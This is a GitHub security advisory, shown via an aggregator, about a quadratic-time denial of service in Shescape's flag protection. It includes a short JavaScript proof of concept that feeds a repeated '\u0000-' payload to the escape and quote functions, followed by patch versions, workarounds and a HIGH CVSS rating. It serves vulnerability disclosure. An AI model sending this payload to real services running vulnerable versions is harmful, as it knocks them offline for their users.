Shescape: Quadratic-time denial of service in the flag-protection

### Impact This impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used. An attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs. ```javascript import { Shescape } from "shescape"; // 1. Prerequisites const options = { //flagProtection unspecified // Or flagProtection: true, }; // 2. Payload let payload = "\u0000-".repeat(32000); // 3. Usage const shescape = new Shescape(options); let callback; callback = () => shescape.escape(payload); // Or callback = () => shescape.escapeAll([payload]); // Or callback = () => shescape.quote(payload); // Or callback = () => shescape.quoteAll([payload]); const t0 = process.hrtime.bigint(); callback(); const ms = Number(process.hrtime.bigint() - t0) / 1e6; // 4. Impact console.log("Duration:", ms); // Outputs "Duration:" followed by a number close to 20000 ``` ### Patches This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now. If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3. No patches will be released for version of Shescape lower than v2.0.0. ### Workarounds Alternatively, users of Shescape can 1) put restrictions on the length of untrusted input or 2) strip all content before the **last** `-` from untrusted inputs. ### For more information - Comment on Pull Request [#2651] for v2 and [#2649] for v3 - Comment on commit [b4b34c3] for v2 and [43d70b5] for v3 - Open an issue at <https://github.com/ericcornelissen/shescape/issues> (New issue > Question)

Source published

24 Jul 2026 22:35:08 UTC

Source modified

12 Aug 2026 19:59:13 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Publisher rating · HIGH